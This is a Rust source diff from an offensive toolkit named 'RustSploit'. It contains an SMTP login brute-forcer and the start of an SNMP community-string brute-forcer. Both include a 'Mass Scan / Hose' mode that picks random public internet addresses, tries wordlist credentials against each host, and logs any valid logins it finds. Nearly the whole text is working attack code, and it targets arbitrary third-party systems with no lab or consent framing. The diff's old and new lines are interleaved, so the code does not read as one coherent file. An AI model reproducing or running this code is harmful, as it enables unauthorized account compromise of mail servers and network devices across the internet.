let username_wordlist = prompt_wordlist("Username wordlist file: ")?;
let password_wordlist = prompt_wordlist("Password wordlist file: ")?;
let threads = prompt_threads(8);
let stop_on_success = prompt_yes_no("Stop on first valid login?", true);
let full_combo = prompt_yes_no("Try every username with every password?", false);
let verbose = prompt_yes_no("Verbose mode?", false);
println!("\n{}", "=== SMTP Bruteforce Module (RustSploit) ===".bold().cyan());
println!();
// Check for Mass Scan Mode conditions
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
// --- Standard Single Target Logic ---
// Check for API-provided config
let config_api = crate::config::get_module_config();
let api_mode = config_api.is_api_mode();
let port = if let Some(p) = config_api.port {
p
} else if api_mode {
25
} else {
prompt_int_range("Port", 25, 1, 65535)? as u16
};
let username_wordlist = if let Some(ref f) = config_api.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Username wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Username wordlist required for API mode"));
} else {
prompt_existing_file("Username wordlist file")?
};
let password_wordlist = if let Some(ref f) = config_api.password_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Password wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Password wordlist required for API mode"));
} else {
prompt_existing_file("Password wordlist file")?
};
let threads = config_api.concurrency.unwrap_or_else(|| {
if api_mode { 8 } else { prompt_int_range("Threads", 8, 1, 256).unwrap_or(8) as usize }
});
let delay_ms = if api_mode { 50 } else { prompt_int_range("Delay (ms)", 50, 0, 10000).unwrap_or(50) as u64 };
let stop_on_success = config_api.stop_on_success.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Stop on first valid login?", true).unwrap_or(true) }
});
let full_combo = config_api.combo_mode.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Try every username with every password?", false).unwrap_or(false) }
});
let verbose = config_api.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let output_file = config_api.output_file.clone().unwrap_or_else(|| {
if api_mode { "smtp_results.txt".to_string() } else { prompt_default("Output file for results", "smtp_results.txt").unwrap_or_else(|_| "smtp_results.txt".to_string()) }
});
let config = SmtpBruteforceConfig {
target: target.to_string(),
port,
@@ -42,255 +128,449 @@ pub async fn run(target: &str) -> Result<()> {
stop_on_success,
verbose,
full_combo,
output_file,
delay_ms,
};
run_smtp_bruteforce(config)
if !api_mode {
println!();
}
run_smtp_bruteforce(config).await
}
fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
let addr = normalize_target(&config.target, config.port)?;
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
return Err(anyhow!("Username or password wordlist is empty."));
}
println!("[*] Loaded {} username(s).", usernames.len());
println!("[*] Loaded {} password(s).", passwords.len());
let found = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(AtomicBool::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
if config.full_combo {
for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
} else if usernames.len() == 1 {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
} else if passwords.len() == 1 {
for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
async fn run_mass_scan(target: &str) -> Result<()> {
// Get API config
let config = crate::config::get_module_config();
let api_mode = config.is_api_mode();
// Prep - use API config or prompt
let port = config.port.unwrap_or_else(|| {
if api_mode { 25 } else { prompt_int_range("Port", 25, 1, 65535).unwrap_or(25) as u16 }
});
let usernames_file = config.username_wordlist.clone().ok_or_else(|| {
anyhow!("username_wordlist required")
}).or_else(|_| {
if api_mode { Err(anyhow!("username_wordlist required for API mode")) }
else { prompt_existing_file("Username wordlist") }
})?;
let passwords_file = config.password_wordlist.clone().ok_or_else(|| {
anyhow!("password_wordlist required")
}).or_else(|_| {
if api_mode { Err(anyhow!("password_wordlist required for API mode")) }
else { prompt_existing_file("Password wordlist") }
})?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = config.concurrency.unwrap_or_else(|| {
if api_mode { 500 } else { prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).unwrap_or(500) as usize }
});
let verbose = config.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let output_file = config.output_file.clone().unwrap_or_else(|| {
if api_mode { "smtp_mass_results.txt".to_string() }
else { prompt_default("Output result file", "smtp_mass_results.txt").unwrap_or_else(|_| "smtp_mass_results.txt".to_string()) }
});
// In API mode, always exclude private ranges
let use_exclusions = if api_mode { true } else { prompt_yes_no("Exclude reserved/private ranges?", true).unwrap_or(true) };
// Parse exclusions
let exclusions = if use_exclusions {
println!("{}", format!("[+] Loaded {} exclusion ranges", EXCLUDED_RANGES.len()).cyan());
Arc::new(parse_exclusions(EXCLUDED_RANGES))
} else {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
}
drop(tx);
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let stop_flag = Arc::clone(&stop_flag);
let found = Arc::clone(&found);
let config = config.clone();
pool.execute(move || {
while let Ok((user, pass)) = rx.recv() {
if stop_flag.load(Ordering::Relaxed) { break; }
if config.verbose { println!("[*] {}:{}", user, pass); }
match try_smtp_login(&addr, &user, &pass) {
Ok(true) => {
println!("[+] VALID: {}:{}", user, pass);
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
if config.stop_on_success {
stop_flag.store(true, Ordering::Relaxed);
while rx.try_recv().is_ok() {}
break;
}
}
Ok(false) => {}
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
}
Arc::new(Vec::new())
};
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((users, pass_lines));
// Stats
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} valid SMTP credentials found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File Mode
let content = match tokio::fs::read_to_string(target).await {
Ok(c) => c,
Err(e) => {
println!("{}", format!("[!] Failed to read target file: {}", e).red());
return Ok(());
}
});
}
pool.join();
let found = found.lock().unwrap();
if found.is_empty() {
println!("[-] No valid credentials.");
} else {
println!("[+] Found:");
for (u,p) in found.iter() { println!("{}:{}", u, p); }
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
let f = prompt("Filename: ");
save_results(&f, &found)?;
println!("[+] Saved to {}", f);
};
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
if let Ok(ip) = ip_str.parse::<IpAddr>() {
tokio::spawn(async move {
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
} else {
drop(permit);
}
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
/// Try login with both AUTH PLAIN and AUTH LOGIN, returns Ok(true) if success, Ok(false) if auth fail, Err on connection/protocol error.
fn try_smtp_login(addr: &str, username: &str, password: &str) -> Result<bool> {
use base64::{engine::general_purpose, Engine as _};
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500)).context("Connect timeout")?;
stream.set_read_timeout(Some(Duration::from_millis(1500))).ok();
stream.set_write_timeout(Some(Duration::from_millis(1500))).ok();
let mut telnet = Telnet::from_stream(Box::new(stream), 256);
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, Vec<String>)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
verbose: bool
) {
let sa = SocketAddr::new(ip, port);
// 1. Connection Check
if tokio::time::timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), tokio::net::TcpStream::connect(&sa)).await.is_err() {
return;
}
let (users, passes) = &*creds;
// 2. Bruteforce
// Reuse existing blocking sync function inside spawn_blocking?
// The existing function uses std::net::TcpStream blocking.
// That's fine for small lists, but suboptimal for high concurrency.
// However, since we are inside a spawned tokio task, spawn_blocking is appropriate.
let target_str = ip.to_string();
for user in users {
for pass in passes {
let t_target = target_str.clone();
let t_user = user.clone();
let t_pass = pass.clone();
let t_port = port;
let t_target_inner = t_target.clone();
let t_user_inner = t_user.clone();
let t_pass_inner = t_pass.clone();
// Blocking call for the actual SMTP interaction (since it uses blocking Telnet/TcpStream)
let res = tokio::task::spawn_blocking(move || {
try_smtp_login(&t_target_inner, t_port, &t_user_inner, &t_pass_inner)
}).await;
match res {
Ok(Ok(true)) => {
let msg = format!("{} -> {}:{}", t_target, t_user, t_pass);
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop after first success
}
Ok(Ok(false)) => {
if verbose {
// Auth failed
}
}
Ok(Err(e)) => {
// Connection error
let err = e.to_string().to_lowercase();
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
return; // Stop scanning host
}
}
Err(_) => {
// Start/Join error
}
}
}
}
}
async fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
let usernames = load_lines(&config.username_wordlist)?;
let passwords = load_lines(&config.password_wordlist)?;
let total_attempts = if config.full_combo {
usernames.len() * passwords.len()
} else {
std::cmp::max(usernames.len(), passwords.len())
};
println!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
println!("[*] Total attempts: {}", total_attempts);
let stats = Arc::new(BruteforceStats::new());
let found_creds = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
let _start_time = std::time::Instant::now();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_signal.clone();
let progress_handle = tokio::spawn(async move {
while !stop_clone.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(2)).await;
stats_clone.print_progress();
}
});
let semaphore = Arc::new(Semaphore::new(config.threads));
let mut tasks = FuturesUnordered::new();
// Generate combinations
let mut combos = Vec::new();
if config.full_combo {
for u in &usernames {
for p in &passwords {
combos.push((u.clone(), p.clone()));
}
}
} else {
let max_len = std::cmp::max(usernames.len(), passwords.len());
for i in 0..max_len {
let u = &usernames[i % usernames.len()];
let p = &passwords[i % passwords.len()];
combos.push((u.clone(), p.clone()));
}
}
// Process combinations
for (user, pass) in combos {
if config.stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let permit = semaphore.clone().acquire_owned().await?;
let config_clone = config.clone();
let stats_clone = stats.clone();
let found_clone = found_creds.clone();
let stop_signal_clone = stop_signal.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
tasks.push(tokio::spawn(async move {
let _permit = permit;
if config_clone.stop_on_success && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
// Wrap blocking logic
let config_inner = config_clone.clone();
let user_inner = user_clone.clone();
let pass_inner = pass_clone.clone();
let res = tokio::task::spawn_blocking(move || {
match try_smtp_login(&config_inner.target, config_inner.port, &user_inner, &pass_inner) {
Ok(true) => Ok(true),
Ok(false) => Ok(false),
Err(e) => Err(e),
}
}).await;
match res {
Ok(Ok(true)) => {
println!("\r{}", format!("[+] Found: {}:{}", user_clone, pass_clone).green().bold());
found_clone.lock().await.push((user_clone.clone(), pass_clone.clone()));
stats_clone.record_success();
if config_clone.stop_on_success {
stop_signal_clone.store(true, Ordering::Relaxed);
}
},
Ok(Ok(false)) => {
stats_clone.record_failure();
if config_clone.verbose {
println!("\r{}", format!("[-] Failed: {}:{}", user_clone, pass_clone).dimmed());
}
},
Ok(Err(e)) => {
stats_clone.record_error(e.to_string()).await;
if config_clone.verbose {
println!("\r{}", format!("[!] Error {}:{}: {}", user_clone, pass_clone, e).red());
}
},
Err(e) => {
stats_clone.record_error(format!("Task panic: {}", e)).await;
}
}
if config_clone.delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(config_clone.delay_ms)).await;
}
}));
// Memory management: drain completed tasks
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {}
}
while let Some(_) = tasks.next().await {}
stop_signal.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
stats.print_final().await;
// Save results
let found = found_creds.lock().await;
if !found.is_empty() {
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&config.output_file) {
use std::io::Write;
for (u, p) in found.iter() {
let _ = writeln!(file, "{}:{}", u, p);
}
println!("[+] Results saved to {}", config.output_file);
}
}
Ok(())
}
fn try_smtp_login(target: &str, port: u16, username: &str, password: &str) -> Result<bool> {
let addr = format!("{}:{}", target, port);
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(2000))?;
stream.set_read_timeout(Some(Duration::from_millis(2000)))?;
stream.set_write_timeout(Some(Duration::from_millis(2000)))?;
let mut telnet = Telnet::from_stream(Box::new(stream), 512);
let mut banner_ok = false;
for _ in 0..3 {
let event = telnet.read().context("Banner read error")?;
let event = telnet.read().context("Banner read")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("220") { banner_ok = true; break; }
}
}
if !banner_ok { return Err(anyhow::anyhow!("No 220 banner")); }
if !banner_ok { return Err(anyhow!("No 220 banner")); }
telnet.write(b"EHLO scanner\r\n")?;
let mut login_ok = false;
let mut plain_ok = false;
let mut ehlo_seen = false;
let mut buf = String::new();
for _ in 0..6 {
let event = telnet.read()?;
let event = telnet.read().context("EHLO read")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
buf.push_str(&s);
if s.contains("AUTH") && s.contains("PLAIN") { plain_ok = true; }
if s.contains("AUTH") && s.contains("LOGIN") { login_ok = true; }
if s.starts_with("250 ") { ehlo_seen = true; break; }
}
}
if !ehlo_seen { return Ok(false); }
// Try AUTH PLAIN
if plain_ok {
let mut blob = vec![0];
blob.extend(username.as_bytes()); blob.push(0); blob.extend(password.as_bytes());
let cmd = format!("AUTH PLAIN {}\r\n", general_purpose::STANDARD.encode(&blob));
telnet.write(cmd.as_bytes())?;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { break; }
}
let event = telnet.read().context("Auth response")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { return Ok(false); }
}
}
}
// Try AUTH LOGIN
if login_ok {
telnet.write(b"AUTH LOGIN\r\n")?;
let mut expect_user = false;
// Wait for username prompt (334)
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("334") { expect_user = true; break; }
}
let event = telnet.read().context("Auth Login prompt")?;
if let Event::Data(b) = event {
if String::from_utf8_lossy(&b).starts_with("334") { break; }
}
}
if !expect_user { return Ok(false); }
let ucmd = format!("{}\r\n", general_purpose::STANDARD.encode(username.as_bytes()));
telnet.write(ucmd.as_bytes())?;
let mut expect_pass = false;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("334") { expect_pass = true; break; }
}
// Wait for password prompt (334)
for _ in 0..2 {
let event = telnet.read().context("Auth Pass prompt")?;
if let Event::Data(b) = event {
if String::from_utf8_lossy(&b).starts_with("334") { break; }
}
}
if !expect_pass { return Ok(false); }
let pcmd = format!("{}\r\n", general_purpose::STANDARD.encode(password.as_bytes()));
telnet.write(pcmd.as_bytes())?;
for _ in 0..2 {
let event = telnet.read()?;
let event = telnet.read().context("Auth final response")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { break; }
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { return Ok(false); }
}
}
}
Ok(false)
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Open: {}", path))?;
Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
}
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
Ok(())
}
fn prompt(msg: &str) -> String {
print!("{}", msg);
if let Err(e) = io::stdout().flush() {
eprintln!("[!] Failed to flush stdout: {}", e);
}
let mut b = String::new();
match io::stdin().read_line(&mut b) {
Ok(_) => b.trim().to_string(),
Err(e) => {
eprintln!("[!] Failed to read input: {}", e);
String::new()
}
}
}
fn prompt_port(default: u16) -> u16 {
loop {
let input = prompt(&format!("Port (default {}): ", default));
if input.is_empty() {
return default;
}
match input.parse::<u16>() {
Ok(0) => println!("[!] Port cannot be zero. Please enter a value between 1 and 65535."),
Ok(port) => return port,
Err(_) => println!("[!] Invalid port. Please enter a number between 1 and 65535."),
}
}
}
fn prompt_threads(default: usize) -> usize {
loop {
let input = prompt(&format!("Threads (default {}): ", default));
if input.is_empty() {
return default.max(1);
}
if let Ok(value) = input.parse::<usize>() {
if value >= 1 && value <= 1024 {
return value;
}
}
println!("[!] Invalid thread count. Please enter a value between 1 and 1024.");
}
}
fn prompt_yes_no(message: &str, default_yes: bool) -> bool {
let default_char = if default_yes { "y" } else { "n" };
loop {
let input = prompt(&format!("{} (y/n) [{}]: ", message, default_char));
if input.is_empty() {
return default_yes;
}
match input.to_lowercase().as_str() {
"y" | "yes" => return true,
"n" | "no" => return false,
_ => println!("[!] Please respond with y or n."),
}
}
}
fn prompt_wordlist(message: &str) -> Result<String> {
loop {
let response = prompt(message);
if response.is_empty() {
println!("[!] Path cannot be empty.");
continue;
}
let trimmed = response.trim();
if Path::new(trimmed).is_file() {
return Ok(trimmed.to_string());
} else {
println!(
"{}",
format!("File '{}' does not exist or is not a regular file.", trimmed).yellow()
);
}
}
}
fn normalize_target(host: &str, port: u16) -> Result<String> {
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
let t = host.trim();
let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
let addr = cap.get(1).unwrap().as_str();
let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
}
@@ -0,0 +1,785 @@
use anyhow::{anyhow, Result, Context};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
io::Write,
net::{SocketAddr, UdpSocket, IpAddr},
sync::Arc,
sync::atomic::{AtomicBool, AtomicUsize, Ordering},
time::{Duration, Instant},
};
use tokio::{
sync::Mutex,
sync::Semaphore,
task::spawn_blocking,
time::sleep,
fs::OpenOptions,
io::AsyncWriteExt,
};
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default, normalize_target,
};
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
const PROGRESS_INTERVAL_SECS: u64 = 2;
const STATE_FILE: &str = "snmp_hose_state.log";
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc)
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
pub async fn run(target: &str) -> Result<()> {
println!("\n{}", "=== SNMPv1/v2c Brute Force Module ===".bold().cyan());
println!("{}", " Community String Discovery Tool".cyan());
println!();
println!("{}", format!("[*] Target: {}", target).cyan());
// Check for Mass Scan Mode
let is_mass_scan = target == "random" || target == "0.0.0.0"
|| target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
// --- Standard Single-Target Logic ---
let default_port = 161;
// Check for API-provided config
let config = crate::config::get_module_config();
let api_mode = config.is_api_mode();
let port = if let Some(p) = config.port {
p
} else if api_mode {
default_port
} else {
prompt_int_range("SNMP Port", default_port as i64, 1, 65535)? as u16
};
// For SNMP, username_wordlist contains community strings
let communities_file = if let Some(ref f) = config.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Community wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Community wordlist required for API mode"));
} else {
prompt_existing_file("Community string wordlist file path")?
};
// Custom prompt for version since it's specific
let snmp_version = if api_mode { 1 } else { // Default to v2c in API mode
loop {
let input = prompt_default("SNMP Version (1 or 2c)", "2c")?;
match input.trim().to_lowercase().as_str() {
"1" => break 0, // SNMPv1
"2c" | "2" => break 1, // SNMPv2c
_ => println!("Invalid version. Enter '1' or '2c'."),
}
}
};
let concurrency = config.concurrency.unwrap_or_else(|| {
if api_mode { 50 } else { prompt_int_range("Max concurrent tasks", 50, 1, 1000).unwrap_or(50) as usize }
});
let stop_on_success = config.stop_on_success.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Stop on first success?", true).unwrap_or(true) }
});
// Output file handled by saving results at the end usually, but old code asked upfront.
// I'll stick to standard flow: prompt for save at end OR automatically if specified.
// Existing modules prompted for output file upfront. I'll do that for consistency with new standard.
let output_file = config.output_file.clone().unwrap_or_else(|| {
if api_mode { "snmp_results.txt".to_string() } else { prompt_default("Output file", "snmp_results.txt").unwrap_or_else(|_| "snmp_results.txt".to_string()) }
});
let verbose = config.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let timeout_secs = if api_mode { 3 } else {
prompt_int_range("Timeout (seconds)", 3, 1, 300).unwrap_or(3) as u64
};
let connect_addr = format!("{}:{}", normalize_target(target)?, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
println!("\n[*] Starting SNMP brute-force on {}", connect_addr);
println!("[*] SNMP Version: {}", if snmp_version == 0 { "v1" } else { "v2c" });
let communities = load_lines(&communities_file)?;
if communities.is_empty() {
println!("[!] Community wordlist is empty. Exiting.");
return Ok(());
}
println!("{}", format!("[*] Loaded {} community strings", communities.len()).cyan());
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let _start_time = Instant::now();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
stats_clone.print_progress();
}
});
let communities = Arc::new(communities);
let mut tasks = FuturesUnordered::new();
let semaphore = Arc::new(Semaphore::new(concurrency));
for community in communities.iter() {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let permit = semaphore.clone().acquire_owned().await?;
let addr_clone = connect_addr.clone();
let community_clone = community.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
let version = snmp_version;
let timeout = Duration::from_secs(timeout_secs);
tasks.push(tokio::spawn(async move {
let _permit = permit;
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_snmp_community(&addr_clone, &community_clone, version, timeout).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> community: '{}'", addr_clone, community_clone).green().bold());
found_clone
.lock()
.await
.push((addr_clone.clone(), community_clone.clone()));
stats_clone.record_success();
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_failure();
if verbose_flag {
println!("\r{}", format!("[-] {} -> community: '{}'", addr_clone, community_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_error(e.to_string()).await;
if verbose_flag {
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
}
}
}
sleep(Duration::from_millis(10)).await;
}));
// Drain
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {}
}
while let Some(_) = tasks.next().await {}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No valid community strings found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid community string(s):", creds.len()).green().bold());
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&output_file) {
for (host, community) in creds.iter() {
println!(" {} -> community: '{}'", host, community);
let _ = writeln!(file, "{} -> community: '{}'", host, community);
}
println!("[+] Results saved to '{}'", output_file);
}
}
Ok(())
}
async fn try_snmp_community(
normalized_addr: &str,
community: &str,
version: u8, // 0 = v1, 1 = v2c
timeout: Duration,
) -> Result<bool> {
let community_owned = community.to_string();
let addr_owned = normalized_addr.to_string();
let result = spawn_blocking(move || -> Result<bool, anyhow::Error> {
// Parse the address
let addr: SocketAddr = addr_owned
.parse()
.map_err(|e| anyhow!("Invalid address '{}': {}", addr_owned, e))?;
// Create UDP socket
let socket = UdpSocket::bind("0.0.0.0:0")
.map_err(|e| anyhow!("Failed to bind socket: {}", e))?;
socket
.set_read_timeout(Some(timeout))
.map_err(|e| anyhow!("Failed to set read timeout: {}", e))?;
// Build SNMP GET request manually
// OID: 1.3.6.1.2.1.1.1.0 (sysDescr)
let message = build_snmp_get_request(&community_owned, version);
// Send request
socket
.send_to(&message, &addr)
.map_err(|e| anyhow!("Failed to send SNMP request: {}", e))?;
// Receive response
let mut buf = vec![0u8; 4096];
let result: bool = match socket.recv_from(&mut buf) {
Ok((size, _)) => {
let response = &buf[..size];
// Parse SNMP response to verify it's valid
// A valid SNMP response should:
// 1. Start with 0x30 (SEQUENCE)
// 2. Contain version, community, and PDU
// 3. Have error status = 0 (noError) in the response PDU
if size >= 20 && response[0] == 0x30 {
// Try to parse the response to check error status
// If we can parse it and error status is 0, it's valid
match parse_snmp_response(response) {
Ok(true) => true, // Valid community string
Ok(false) => false, // Invalid community (error in response)
Err(_) => {
// Can't parse, but got a response - might be valid
// Some devices send malformed responses but still indicate valid community
true
}
}
} else {
// Malformed response - likely invalid
false
}
}
Err(e) => {
// Handle timeout and EAGAIN/EWOULDBLOCK errors as invalid community
// EAGAIN (os error 11) can occur on Linux when socket would block
let error_kind = e.kind();
if error_kind == std::io::ErrorKind::TimedOut
|| error_kind == std::io::ErrorKind::WouldBlock
|| e.raw_os_error() == Some(11) // EAGAIN on Linux
|| e.raw_os_error() == Some(35) // EAGAIN on macOS
{
// Timeout or would block - community string is likely invalid
false
} else {
// Other errors might be transient, but log them
// For now, treat as invalid to avoid false positives
false
}
}
};
Ok(result)
})
.await
.map_err(|e| anyhow!("Task join error: {}", e))?;
result
}
/// Parses SNMP response to check if error status is 0 (noError)
